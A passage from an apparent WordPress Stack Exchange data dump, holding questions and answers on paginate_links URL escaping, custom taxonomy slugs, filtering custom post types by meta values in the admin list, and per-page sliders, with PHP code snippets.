"text": "<p>I don't see any Wordpress functions for that, but you can do it in your own way based on the original function:</p>\n\n<pre><code>/*\n* FUNC BASED ON Wordpress function: get_page_by_title ON post.php\n*/\n\nfunction custom_get_page_by_title( $page_title, $output = OBJECT,$post_type = 'page' ) \n{\n global $wpdb;\n\n if ( is_array( $post_type ) ) {\n $post_type = esc_sql( $post_type );\n $post_type_in_string = \"'\" . implode( \"','\", $post_type ) . \"'\";\n $sql = $wpdb->prepare( \"\n SELECT ID\n FROM $wpdb->posts\n WHERE post_title = %s\n AND post_type IN ($post_type_in_string)\n ORDER BY ID DESC\n \", $page_title );\n } else {\n $sql = $wpdb->prepare( \"\n SELECT ID\n FROM $wpdb->posts\n WHERE post_title = %s\n AND post_type = %s\n ORDER BY ID DESC\n \", $page_title, $post_type );\n }\n\n $page = $wpdb->get_var( $sql );\n\n if ( $page ) {\n return get_post( $page, $output );\n }\n}\n</code></pre>\n"
},
{
"answer_id": 303325,
"author": "Adarsh",
"author_id": 143452,
"author_profile": "https://wordpress.stackexchange.com/users/143452",
"pm_score": 0,
"selected": false,
"text": "<pre><code> $pages = get_pages(\narray (\n 'parent' => 0, \n 'orderby' => 'id', \n 'order' => 'ASC',\n\n)\n</code></pre>\n\n<p>);\nthen from the variable $pages get the 0th element from the array </p>\n"
}
]
| 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303287",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/2426/"
]
| Assuming there are a few pages with same title, how to get id of the page that has the largest id (newest)? I have tried `get_page_by_title`, but it returns the smallest id (oldest). | By using wp\_query you can have more control:
```
$title = "your title"
$q = new WP_Query (array(
'posts_per_page' => 1,
'title' => $title,
));
```
And then you can iterate through, but because we used posts per page 1 you'll get only 1 item. By default wp query displays the last first by date, you can change this with the orderby argument. Check [here](https://codex.wordpress.org/Class_Reference/WP_Query).
```
while ($q->have_posts()){
$q->the_post();
the_title();
}
```
Edit: if you'll use this somewhere where you need your main loop after this code snippet, reset the loop with this:
```
wp_reset_postdata();
``` |
303,297 | <p>My generated paginate link results will have additional <code>#038;</code> in the url, may I know how to get rid of it?</p>
<hr/>
<p><strong>Blog page url :</strong>
<code>http://localhost/wordpress/blog/</code></p>
<p>I had already setup pagination with function <a href="https://developer.wordpress.org/reference/functions/paginate_links/" rel="noreferrer">paginate_links</a>, when I press page [2] :</p>
<p><strong>Blog page Page 2 url :</strong>
<code>http://localhost/wordpress/blog/page/2/</code></p>
<p>( everything is fine above )
<hr/>
However, whenever my Blog page URL have certain parameters which is for my filter/sorting purposes for WP_Query, the paginate_link result will have additional <em>#038</em> params , please refer below for the URL</p>
<p><strong>Blog page with Params Url :</strong>
<code>http://localhost/wordpress/blog/?filter=23&orderby=oldest</code></p>
<p><strong>Blog page with Params Page 2 Url :</strong>
<code>http://localhost/wordpress/blog/page/2/?filter=23&orderby=oldest#038;orderby=oldest</code></p>
<hr/>
<p>The URL I need to achieve is
<code>http://localhost/wordpress/blog/page/2/?filter=23&orderby=oldest</code></p>
<p>below are my paginate_links functions:</p>
<pre><code>global $wp_query;
$big = 99999999999;
paginate_links([
'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
'format' => '?paged=%#%',
'prev_text' => __('&lt;'),
'next_text' => __('&gt;'),
'current' => max( 1, get_query_var('paged') ),
'type' => 'list',
'total' => $wp_query->max_num_pages,
]);
</code></pre>
| [
{
"answer_id": 320942,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like this is a <a href=\"https://core.trac.wordpress.org/ticket/31060\" rel=\"nofollow noreferrer\">known issue</a> with <code>paginate_links</code> function.</p>\n\n<p>Here's a quick workaround, which will work well, if only there are no ampersands in your query params values:</p>\n\n<pre><code><?php\n global $wp_query;\n $big = 99999999999;\n\n echo paginate_links(array(\n 'base' => str_replace( array($big, '#038;'), array('%#%', ''), esc_url( get_pagenum_link( $big ) ) ),\n 'format' => '?paged=%#%',\n 'prev_text' => __('&lt;'),\n 'next_text' => __('&gt;'),\n 'current' => max( 1, get_query_var('paged') ),\n 'type' => 'list',\n 'total' => $wp_query->max_num_pages,\n ));\n?>\n</code></pre>\n"
},
{
"answer_id": 320957,
"author": "Sally CJ",
"author_id": 137402,
"author_profile": "https://wordpress.stackexchange.com/users/137402",
"pm_score": 3,
"selected": true,
"text": "<p>There's no need to escape the URL twice - <a href=\"https://developer.wordpress.org/reference/functions/get_pagenum_link/\" rel=\"nofollow noreferrer\"><code>get_pagenum_link()</code></a> by default returns an escaped URL — when the second parameter is <code>true</code>, <a href=\"https://developer.wordpress.org/reference/functions/esc_url/\" rel=\"nofollow noreferrer\"><code>esc_url()</code></a> is used; else, <a href=\"https://developer.wordpress.org/reference/functions/esc_url_raw/\" rel=\"nofollow noreferrer\"><code>esc_url_raw()</code></a> is used:</p>\n\n<ul>\n<li><p>With <code>esc_url()</code>: <code>http://localhost/wordpress/blog/?filter=23&#038;orderby=oldest</code></p></li>\n<li><p>With <code>esc_url_raw()</code>: <code>http://localhost/wordpress/blog/?filter=23&orderby=oldest</code></p></li>\n</ul>\n\n<p><strong>And the problem occurs when the <code>base</code> contains <code>?</code>, or a query string, and that the URL is escaped (e.g. using <code>esc_url()</code>).</strong></p>\n\n<p>Because <code>esc_url()</code> converts <code>&</code> (ampersand) to its HTML entity, which is <code>&#038;</code>, and when the <code>base</code> contains a query string, <code>paginate_links()</code> will parse the <code>base</code> value/URL, and when the <code>&</code> is escaped, anything after each <code>&</code> and the nearest <code>=</code> is treated as a query string <em>name</em>/key, and added to the <code>base</code>'s query string:</p>\n\n<pre><code>http://localhost/wordpress/blog/?filter=23&orderby=oldest#038;orderby=oldest\n</code></pre>\n\n<p>In the above example, the URL is like that because <code>paginate_links()</code> (or more precisely, <code>wp_parse_str()</code> <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3738\" rel=\"nofollow noreferrer\">used</a> in <a href=\"https://developer.wordpress.org/reference/functions/paginate_links/\" rel=\"nofollow noreferrer\"><code>paginate_links()</code></a>) interpreted <code>#038;orderby</code> as the key of <code>oldest</code>; i.e. <code>#038;orderby=oldest</code> — it should be <code>&orderby=oldest</code> where the key is <code>orderby</code>.</p>\n\n<p>(But of course, the browser sees anything after the <code>#</code> as a URL fragment. And if you follow the link, on the next page, <code>$_GET</code> will not have an entry for <code>#038;orderby</code>; i.e. <code>$_GET['#038;orderby']</code> doesn't exist.)</p>\n\n<p><strong><em>So here are several ways to fix/avoid the problem:</em></strong></p>\n\n<ol>\n<li><p>Use <code>html_entity_decode()</code> just as WordPress <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3694\" rel=\"nofollow noreferrer\">does</a> via <code>paginate_links()</code>:</p>\n\n<pre><code>'base' => str_replace( $big, '%#%', html_entity_decode( get_pagenum_link( $big ) ) )\n</code></pre></li>\n<li><p>When you call <code>get_pagenum_link()</code>, set the second parameter set to <code>false</code>:</p>\n\n<pre><code>'base' => str_replace( $big, '%#%', get_pagenum_link( $big, false ) )\n</code></pre></li>\n<li><p>Use <code>str_replace()</code> to replace the <code>&#038;</code> with <code>&</code>:</p>\n\n<pre><code>'base' => str_replace( [ $big, '&#038;' ], [ '%#%', '&' ], get_pagenum_link( $big ) )\n</code></pre></li>\n</ol>\n\n<p>Don't worry about not escaping the <code>base</code> because <code>paginate_links()</code> actually escapes all the links/URLs in the returned result.</p>\n\n<p><em>Friendly Warning: Some of the links in this answer point you to a huge HTML file / web page..</em></p>\n"
}
]
| 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303297",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/85825/"
]
| My generated paginate link results will have additional `#038;` in the url, may I know how to get rid of it?
---
**Blog page url :**
`http://localhost/wordpress/blog/`
I had already setup pagination with function [paginate\_links](https://developer.wordpress.org/reference/functions/paginate_links/), when I press page [2] :
**Blog page Page 2 url :**
`http://localhost/wordpress/blog/page/2/`
( everything is fine above )
---
However, whenever my Blog page URL have certain parameters which is for my filter/sorting purposes for WP\_Query, the paginate\_link result will have additional *#038* params , please refer below for the URL
**Blog page with Params Url :**
`http://localhost/wordpress/blog/?filter=23&orderby=oldest`
**Blog page with Params Page 2 Url :**
`http://localhost/wordpress/blog/page/2/?filter=23&orderby=oldest#038;orderby=oldest`
---
The URL I need to achieve is
`http://localhost/wordpress/blog/page/2/?filter=23&orderby=oldest`
below are my paginate\_links functions:
```
global $wp_query;
$big = 99999999999;
paginate_links([
'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
'format' => '?paged=%#%',
'prev_text' => __('<'),
'next_text' => __('>'),
'current' => max( 1, get_query_var('paged') ),
'type' => 'list',
'total' => $wp_query->max_num_pages,
]);
``` | There's no need to escape the URL twice - [`get_pagenum_link()`](https://developer.wordpress.org/reference/functions/get_pagenum_link/) by default returns an escaped URL — when the second parameter is `true`, [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) is used; else, [`esc_url_raw()`](https://developer.wordpress.org/reference/functions/esc_url_raw/) is used:
* With `esc_url()`: `http://localhost/wordpress/blog/?filter=23&orderby=oldest`
* With `esc_url_raw()`: `http://localhost/wordpress/blog/?filter=23&orderby=oldest`
**And the problem occurs when the `base` contains `?`, or a query string, and that the URL is escaped (e.g. using `esc_url()`).**
Because `esc_url()` converts `&` (ampersand) to its HTML entity, which is `&`, and when the `base` contains a query string, `paginate_links()` will parse the `base` value/URL, and when the `&` is escaped, anything after each `&` and the nearest `=` is treated as a query string *name*/key, and added to the `base`'s query string:
```
http://localhost/wordpress/blog/?filter=23&orderby=oldest#038;orderby=oldest
```
In the above example, the URL is like that because `paginate_links()` (or more precisely, `wp_parse_str()` [used](https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3738) in [`paginate_links()`](https://developer.wordpress.org/reference/functions/paginate_links/)) interpreted `#038;orderby` as the key of `oldest`; i.e. `#038;orderby=oldest` — it should be `&orderby=oldest` where the key is `orderby`.
(But of course, the browser sees anything after the `#` as a URL fragment. And if you follow the link, on the next page, `$_GET` will not have an entry for `#038;orderby`; i.e. `$_GET['#038;orderby']` doesn't exist.)
***So here are several ways to fix/avoid the problem:***
1. Use `html_entity_decode()` just as WordPress [does](https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3694) via `paginate_links()`:
```
'base' => str_replace( $big, '%#%', html_entity_decode( get_pagenum_link( $big ) ) )
```
2. When you call `get_pagenum_link()`, set the second parameter set to `false`:
```
'base' => str_replace( $big, '%#%', get_pagenum_link( $big, false ) )
```
3. Use `str_replace()` to replace the `&` with `&`:
```
'base' => str_replace( [ $big, '&' ], [ '%#%', '&' ], get_pagenum_link( $big ) )
```
Don't worry about not escaping the `base` because `paginate_links()` actually escapes all the links/URLs in the returned result.
*Friendly Warning: Some of the links in this answer point you to a huge HTML file / web page..* |
303,311 | <p>I seem to go round and round in circles here, I think lack of vocabulary or not knowing what I'm searching for is causing me my problems. </p>
<p>I have a custom post type <strong>projects</strong> and have a taxonomy to reflect that.<br>
When trying to add categories links from this post type in a menu, it links on the site as <em>domain.com/category/custom_cat</em></p>
<p>Ideally, I would like the URL to read: <em>domain.com/projects/custom_cat</em> </p>
<p>Could someone please point me in the right direction. </p>
<p>Many thanks!</p>
<p><strong>Edit:</strong></p>
<p>I think i unfolded one problem and created another, I replaced: </p>
<pre><code> register_taxonomy( 'category', 'project', array( 'hierarchical' => true, 'label' => 'Project Categories', 'query_var' => true, 'rewrite' => true ) );
</code></pre>
<p>with</p>
<pre><code> register_taxonomy( 'projects', 'project', array( 'hierarchical' => true, 'label' => 'Project Categories', 'query_var' => true, 'rewrite' => true ) );
</code></pre>
<p>and created a category and assigned it to a project to test it out. It worked! </p>
<p>However, I have most of the site populated with the old category taxonomy. How would one suggest repairing the SQL so I can inherit the old category names to the new taxonomy? </p>
| [
{
"answer_id": 320942,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like this is a <a href=\"https://core.trac.wordpress.org/ticket/31060\" rel=\"nofollow noreferrer\">known issue</a> with <code>paginate_links</code> function.</p>\n\n<p>Here's a quick workaround, which will work well, if only there are no ampersands in your query params values:</p>\n\n<pre><code><?php\n global $wp_query;\n $big = 99999999999;\n\n echo paginate_links(array(\n 'base' => str_replace( array($big, '#038;'), array('%#%', ''), esc_url( get_pagenum_link( $big ) ) ),\n 'format' => '?paged=%#%',\n 'prev_text' => __('&lt;'),\n 'next_text' => __('&gt;'),\n 'current' => max( 1, get_query_var('paged') ),\n 'type' => 'list',\n 'total' => $wp_query->max_num_pages,\n ));\n?>\n</code></pre>\n"
},
{
"answer_id": 320957,
"author": "Sally CJ",
"author_id": 137402,
"author_profile": "https://wordpress.stackexchange.com/users/137402",
"pm_score": 3,
"selected": true,
"text": "<p>There's no need to escape the URL twice - <a href=\"https://developer.wordpress.org/reference/functions/get_pagenum_link/\" rel=\"nofollow noreferrer\"><code>get_pagenum_link()</code></a> by default returns an escaped URL — when the second parameter is <code>true</code>, <a href=\"https://developer.wordpress.org/reference/functions/esc_url/\" rel=\"nofollow noreferrer\"><code>esc_url()</code></a> is used; else, <a href=\"https://developer.wordpress.org/reference/functions/esc_url_raw/\" rel=\"nofollow noreferrer\"><code>esc_url_raw()</code></a> is used:</p>\n\n<ul>\n<li><p>With <code>esc_url()</code>: <code>http://localhost/wordpress/blog/?filter=23&#038;orderby=oldest</code></p></li>\n<li><p>With <code>esc_url_raw()</code>: <code>http://localhost/wordpress/blog/?filter=23&orderby=oldest</code></p></li>\n</ul>\n\n<p><strong>And the problem occurs when the <code>base</code> contains <code>?</code>, or a query string, and that the URL is escaped (e.g. using <code>esc_url()</code>).</strong></p>\n\n<p>Because <code>esc_url()</code> converts <code>&</code> (ampersand) to its HTML entity, which is <code>&#038;</code>, and when the <code>base</code> contains a query string, <code>paginate_links()</code> will parse the <code>base</code> value/URL, and when the <code>&</code> is escaped, anything after each <code>&</code> and the nearest <code>=</code> is treated as a query string <em>name</em>/key, and added to the <code>base</code>'s query string:</p>\n\n<pre><code>http://localhost/wordpress/blog/?filter=23&orderby=oldest#038;orderby=oldest\n</code></pre>\n\n<p>In the above example, the URL is like that because <code>paginate_links()</code> (or more precisely, <code>wp_parse_str()</code> <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3738\" rel=\"nofollow noreferrer\">used</a> in <a href=\"https://developer.wordpress.org/reference/functions/paginate_links/\" rel=\"nofollow noreferrer\"><code>paginate_links()</code></a>) interpreted <code>#038;orderby</code> as the key of <code>oldest</code>; i.e. <code>#038;orderby=oldest</code> — it should be <code>&orderby=oldest</code> where the key is <code>orderby</code>.</p>\n\n<p>(But of course, the browser sees anything after the <code>#</code> as a URL fragment. And if you follow the link, on the next page, <code>$_GET</code> will not have an entry for <code>#038;orderby</code>; i.e. <code>$_GET['#038;orderby']</code> doesn't exist.)</p>\n\n<p><strong><em>So here are several ways to fix/avoid the problem:</em></strong></p>\n\n<ol>\n<li><p>Use <code>html_entity_decode()</code> just as WordPress <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3694\" rel=\"nofollow noreferrer\">does</a> via <code>paginate_links()</code>:</p>\n\n<pre><code>'base' => str_replace( $big, '%#%', html_entity_decode( get_pagenum_link( $big ) ) )\n</code></pre></li>\n<li><p>When you call <code>get_pagenum_link()</code>, set the second parameter set to <code>false</code>:</p>\n\n<pre><code>'base' => str_replace( $big, '%#%', get_pagenum_link( $big, false ) )\n</code></pre></li>\n<li><p>Use <code>str_replace()</code> to replace the <code>&#038;</code> with <code>&</code>:</p>\n\n<pre><code>'base' => str_replace( [ $big, '&#038;' ], [ '%#%', '&' ], get_pagenum_link( $big ) )\n</code></pre></li>\n</ol>\n\n<p>Don't worry about not escaping the <code>base</code> because <code>paginate_links()</code> actually escapes all the links/URLs in the returned result.</p>\n\n<p><em>Friendly Warning: Some of the links in this answer point you to a huge HTML file / web page..</em></p>\n"
}
]
| 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303311",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131432/"
]
| I seem to go round and round in circles here, I think lack of vocabulary or not knowing what I'm searching for is causing me my problems.
I have a custom post type **projects** and have a taxonomy to reflect that.
When trying to add categories links from this post type in a menu, it links on the site as *domain.com/category/custom\_cat*
Ideally, I would like the URL to read: *domain.com/projects/custom\_cat*
Could someone please point me in the right direction.
Many thanks!
**Edit:**
I think i unfolded one problem and created another, I replaced:
```
register_taxonomy( 'category', 'project', array( 'hierarchical' => true, 'label' => 'Project Categories', 'query_var' => true, 'rewrite' => true ) );
```
with
```
register_taxonomy( 'projects', 'project', array( 'hierarchical' => true, 'label' => 'Project Categories', 'query_var' => true, 'rewrite' => true ) );
```
and created a category and assigned it to a project to test it out. It worked!
However, I have most of the site populated with the old category taxonomy. How would one suggest repairing the SQL so I can inherit the old category names to the new taxonomy? | There's no need to escape the URL twice - [`get_pagenum_link()`](https://developer.wordpress.org/reference/functions/get_pagenum_link/) by default returns an escaped URL — when the second parameter is `true`, [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) is used; else, [`esc_url_raw()`](https://developer.wordpress.org/reference/functions/esc_url_raw/) is used:
* With `esc_url()`: `http://localhost/wordpress/blog/?filter=23&orderby=oldest`
* With `esc_url_raw()`: `http://localhost/wordpress/blog/?filter=23&orderby=oldest`
**And the problem occurs when the `base` contains `?`, or a query string, and that the URL is escaped (e.g. using `esc_url()`).**
Because `esc_url()` converts `&` (ampersand) to its HTML entity, which is `&`, and when the `base` contains a query string, `paginate_links()` will parse the `base` value/URL, and when the `&` is escaped, anything after each `&` and the nearest `=` is treated as a query string *name*/key, and added to the `base`'s query string:
```
http://localhost/wordpress/blog/?filter=23&orderby=oldest#038;orderby=oldest
```
In the above example, the URL is like that because `paginate_links()` (or more precisely, `wp_parse_str()` [used](https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3738) in [`paginate_links()`](https://developer.wordpress.org/reference/functions/paginate_links/)) interpreted `#038;orderby` as the key of `oldest`; i.e. `#038;orderby=oldest` — it should be `&orderby=oldest` where the key is `orderby`.
(But of course, the browser sees anything after the `#` as a URL fragment. And if you follow the link, on the next page, `$_GET` will not have an entry for `#038;orderby`; i.e. `$_GET['#038;orderby']` doesn't exist.)
***So here are several ways to fix/avoid the problem:***
1. Use `html_entity_decode()` just as WordPress [does](https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/general-template.php#L3694) via `paginate_links()`:
```
'base' => str_replace( $big, '%#%', html_entity_decode( get_pagenum_link( $big ) ) )
```
2. When you call `get_pagenum_link()`, set the second parameter set to `false`:
```
'base' => str_replace( $big, '%#%', get_pagenum_link( $big, false ) )
```
3. Use `str_replace()` to replace the `&` with `&`:
```
'base' => str_replace( [ $big, '&' ], [ '%#%', '&' ], get_pagenum_link( $big ) )
```
Don't worry about not escaping the `base` because `paginate_links()` actually escapes all the links/URLs in the returned result.
*Friendly Warning: Some of the links in this answer point you to a huge HTML file / web page..* |
303,385 | <p>I've a custom post type with some custom meta box. I want to filter my custom post type posts using custom meta value. I've written the code below. But it return no post found. Can anyone tell me where I did wrong? Here is the codes.</p>
<pre><code><?php
add_action('restrict_manage_posts','restrict_listings_by_metavalue');
function restrict_listings_by_metavalue() {
global $typenow;
global $wp_query;
if ($typenow=='jspp_std') {
echo '<input type="text" name="adate" id="adate" placeholder="Enter Admission date" />';
}
}
add_filter('parse_query','jspp_custom_meta_query');
function jspp_custom_meta_query($query) {
global $typenow;
global $pagenow;
if( $pagenow == 'edit.php' && $typenow == 'jspp_std' && isset($_GET['adate']) )
{
$query->query_vars['meta_key'] = '_jspp_sp_sid';
$query->query_vars['meta_value'] = $_GET['adate'];
$query->query_vars['meta_compare'] = '=';
}
}
?>
</code></pre>
<p>Screenshot of result it return.Thanks in advance.</p>
<p><a href="https://i.stack.imgur.com/Ku4SV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ku4SV.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 333903,
"author": "Ellis Benus Web Developer",
"author_id": 141220,
"author_profile": "https://wordpress.stackexchange.com/users/141220",
"pm_score": 0,
"selected": false,
"text": "<p><strong>UPDATE: I figured it out! My fix was I could only filter by Columns which were specified to be <em>sortable</em>. Hopefully this helps someone else!</strong></p>\n\n<p>So for my custom post type, I had only a single column set as sortable. I added the column I was trying to Filter by and boom! The filtering worked!</p>\n\n<pre><code>// Make Custom Post Type Custom Columns Sortable\nfunction cpt_custom_columns_sortable( $columns ) {\n\n // Add our columns to $columns array\n $columns['item_number'] = 'item_number';\n $columns['coat_school'] = 'coat_school'; \n\n return $columns;\n} add_filter( 'manage_edit-your-custom-post-type-slug_sortable_columns', 'cpt_custom_columns_sortable' );\n</code></pre>\n\n<p>Thus, including the above, my entire code solution looks like this:</p>\n\n<pre><code>/**\n * Add School as a Filter Drop Menu\n * Create the dropdown\n * Change POST_TYPE to the name of your custom post type\n */\nfunction ssp_school_custom_column_filter() {\n\n // Only show the filter drop menu to Admins/SSP Users\n $user = wp_get_current_user();\n $role = ( array ) $user->roles;\n if ( in_array(\"administrator\", $role ) || in_array(\"ssp_user\", $role ) ) {\n // do nothing - this is backwards... shouldn't need to do it this way.\n } else { return; }\n\n $type = 'post'; // Set default to be overridden\n\n // Check for the Post Type\n if (isset($_GET['post_type'])) {\n $type = $_GET['post_type'];\n }\n\n $types = array( 'member' );\n $types_uniforms = ssp_get_uniform_items_names_by_size('all'); \n $types = array_merge( $types , $types_uniforms );\n\n // Only add filter to certain post types\n if ( in_array( $type , $types) ) {\n\n // Get all Schools\n $schools_args = array(\n 'post_type' => 'schools',\n 'post_status' => 'publish',\n 'posts_per_page'=> '-1',\n 'orderby' => 'title',\n 'order' => 'ASC',\n 'fields' => 'ids',\n );\n $schools = new WP_Query( $schools_args );\n\n // Populate the List of Schools\n if ( $schools->have_posts() ) {\n $values = array();\n while ( $schools->have_posts() ) {\n $schools->the_post();\n $values += [ get_the_title() => get_the_ID() ];\n }\n } else {\n $values = array(\n 'Error: No Schools Available' => 'error',\n );\n }\n ?>\n <select name=\"ssp_school_custom_column_filter\">\n <option value=\"\">Filter by School</option>\n <?php\n $current_school = isset($_GET['ssp_school_custom_column_filter']) ? $_GET['ssp_school_custom_column_filter'] : '';\n foreach ($values as $label => $value) {\n printf (\n '<option value=\"%s\" %s>%s</option>',\n $value,\n $value == $current_school ? 'selected=\"selected\"' : '',\n $label\n );\n }\n ?>\n </select>\n <?php\n }\n} add_action( 'restrict_manage_posts', 'ssp_school_custom_column_filter' );\n\n/**\n * Handle Submitted School Filter\n *\n * Change META_KEY to the actual meta key\n * and POST_TYPE to the name of your custom post type\n *\n * @param (wp_query object) $query\n *\n * @return Void\n */\nfunction ssp_school_custom_column_posts_filter( $query ){\n\n global $pagenow;\n\n $type = 'post';\n if (isset($_GET['post_type'])) {\n $type = $_GET['post_type'];\n }\n\n // Manually add members b/c they aren't Uniform Items\n $types = array( 'member' );\n // Get all the Uniform Items and add them to Types\n $types_uniforms = ssp_get_uniform_items_names_by_size('all'); \n // Combine Members and Uniform Items\n $types = array_merge( $types , $types_uniforms );\n\n if ( in_array( $type , $types) &&\n is_admin() &&\n $pagenow == 'edit.php' &&\n isset($_GET['ssp_school_custom_column_filter']) &&\n $_GET['ssp_school_custom_column_filter'] != '' &&\n $query->is_main_query()\n )\n {\n // Get the post type object\n $type_obj = get_post_type_object( $type );\n\n // The meta_key is dependent on the post type\n $query->query_vars['meta_key'] = 'assigned_school';\n $query->query_vars['meta_value'] = intval($_GET['ssp_school_custom_column_filter']);\n $query->query_vars['meta_compare'] = '=';\n }\n\n} add_filter( 'parse_query', 'ssp_school_custom_column_posts_filter' );\n</code></pre>\n\n<p>I'm having the exact same issue. </p>\n\n<p>All the code examples I've found look like the following, and it seems both of our code (your and mine) look just like these examples, but neither seem to be working</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/212519/filter-by-custom-field-in-custom-post-type-on-admin-page\">Filter by custom field in custom post type on admin page</a></p>\n"
},
{
"answer_id": 370601,
"author": "Ejaz UL Haq",
"author_id": 178714,
"author_profile": "https://wordpress.stackexchange.com/users/178714",
"pm_score": 1,
"selected": false,
"text": "<p>I ave faced the same issue when I was trying to filter custom-post-type with custom-field<br>\nbut I have resolved this issue in the following steps. <br>\nConverted custom-field name from <code>writer</code> to <code>_writer</code> <br>\nand then I have updated following code inside <code>callback function</code> of <code>parse_query</code> hook that I can add custom-field meta_query like <br></p>\n<pre><code>$query->set( 'meta_query', array(\n array(\n 'key' => '_writer',\n 'compare' => '=',\n 'value' => $_GET['_writer'],\n 'type' => 'numeric',\n )\n) ); \n</code></pre>\n<p><strong>This Above Solution</strong> Worked for me.<br>\n<strong>Documentation</strong> <a href=\"https://developer.wordpress.org/reference/hooks/pre_get_posts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/pre_get_posts/</a> <br>\n<strong>Helpful Links</strong> <a href=\"https://developer.wordpress.org/reference/hooks/pre_get_posts/#comment-2571\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/pre_get_posts/#comment-2571</a> <br>\n<a href=\"https://stackoverflow.com/questions/47869905/how-can-i-filter-records-in-custom-post-type-list-in-admin-based-on-user-id-that\">https://stackoverflow.com/questions/47869905/how-can-i-filter-records-in-custom-post-type-list-in-admin-based-on-user-id-that</a></p>\n"
}
]
| 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303385",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94489/"
]
| I've a custom post type with some custom meta box. I want to filter my custom post type posts using custom meta value. I've written the code below. But it return no post found. Can anyone tell me where I did wrong? Here is the codes.
```
<?php
add_action('restrict_manage_posts','restrict_listings_by_metavalue');
function restrict_listings_by_metavalue() {
global $typenow;
global $wp_query;
if ($typenow=='jspp_std') {
echo '<input type="text" name="adate" id="adate" placeholder="Enter Admission date" />';
}
}
add_filter('parse_query','jspp_custom_meta_query');
function jspp_custom_meta_query($query) {
global $typenow;
global $pagenow;
if( $pagenow == 'edit.php' && $typenow == 'jspp_std' && isset($_GET['adate']) )
{
$query->query_vars['meta_key'] = '_jspp_sp_sid';
$query->query_vars['meta_value'] = $_GET['adate'];
$query->query_vars['meta_compare'] = '=';
}
}
?>
```
Screenshot of result it return.Thanks in advance.
[](https://i.stack.imgur.com/Ku4SV.png) | I ave faced the same issue when I was trying to filter custom-post-type with custom-field
but I have resolved this issue in the following steps.
Converted custom-field name from `writer` to `_writer`
and then I have updated following code inside `callback function` of `parse_query` hook that I can add custom-field meta\_query like
```
$query->set( 'meta_query', array(
array(
'key' => '_writer',
'compare' => '=',
'value' => $_GET['_writer'],
'type' => 'numeric',
)
) );
```
**This Above Solution** Worked for me.
**Documentation** <https://developer.wordpress.org/reference/hooks/pre_get_posts/>
**Helpful Links** <https://developer.wordpress.org/reference/hooks/pre_get_posts/#comment-2571>
<https://stackoverflow.com/questions/47869905/how-can-i-filter-records-in-custom-post-type-list-in-admin-based-on-user-id-that> |
303,386 | <p>I have to insert some sliders in some particular pages of wordpress site.</p>
<p><a href="https://www.mousampictures.com/department/wedding/" rel="nofollow noreferrer">https://www.mousampictures.com/department/wedding/</a></p>
<p>when I have added the slider code, its appearing all at a time.</p>
<p>How can if do something like:</p>
<pre><code>if (page is wedding){
echo wedding slider
}
if (page is portrait){
echo portrait slider
}
</code></pre>
<p>the page admin side url is: </p>
<blockquote>
<p><a href="https://www.mousampictures.com/wp-admin/term.php?taxonomy=department&tag_ID=38&post_type=portfolio" rel="nofollow noreferrer">https://www.mousampictures.com/wp-admin/term.php?taxonomy=department&tag_ID=38&post_type=portfolio</a></p>
</blockquote>
<p>I tried something like below:</p>
<pre><code><div class="layout-full">
<header class="entry-header">
<h1 class="entry-title"><?php single_cat_title(); ?></h1>
</header>
<!-- wedding --THIS DOSN'T WORK :( -->
<?php
$title = single_cat_title();
if ( $title == "Wedding") {
echo do_shortcode('[metaslider id="1710"]');
}
?>
<!--portrait -->
<?php echo do_shortcode('[metaslider id="1718"]'); ?>
<!--travel -->
<?php echo do_shortcode('[metaslider id="1714"]'); ?>
</div>
</code></pre>
<p>but the if condition doesn't work, Instead 'wedding' is printed on the page.</p>
| [
{
"answer_id": 303388,
"author": "Shameem Ali",
"author_id": 137710,
"author_profile": "https://wordpress.stackexchange.com/users/137710",
"pm_score": -1,
"selected": false,
"text": "<pre><code> $post_type = get_post_type();\n //var_dump($post_type);\n if($post_type=='wedding'){\n //echo wedding slider\n }\n else if($post_type=='portrait'){\n //echo portrait slider\n }\n</code></pre>\n"
},
{
"answer_id": 303389,
"author": "Lasantha",
"author_id": 60802,
"author_profile": "https://wordpress.stackexchange.com/users/60802",
"pm_score": 1,
"selected": false,
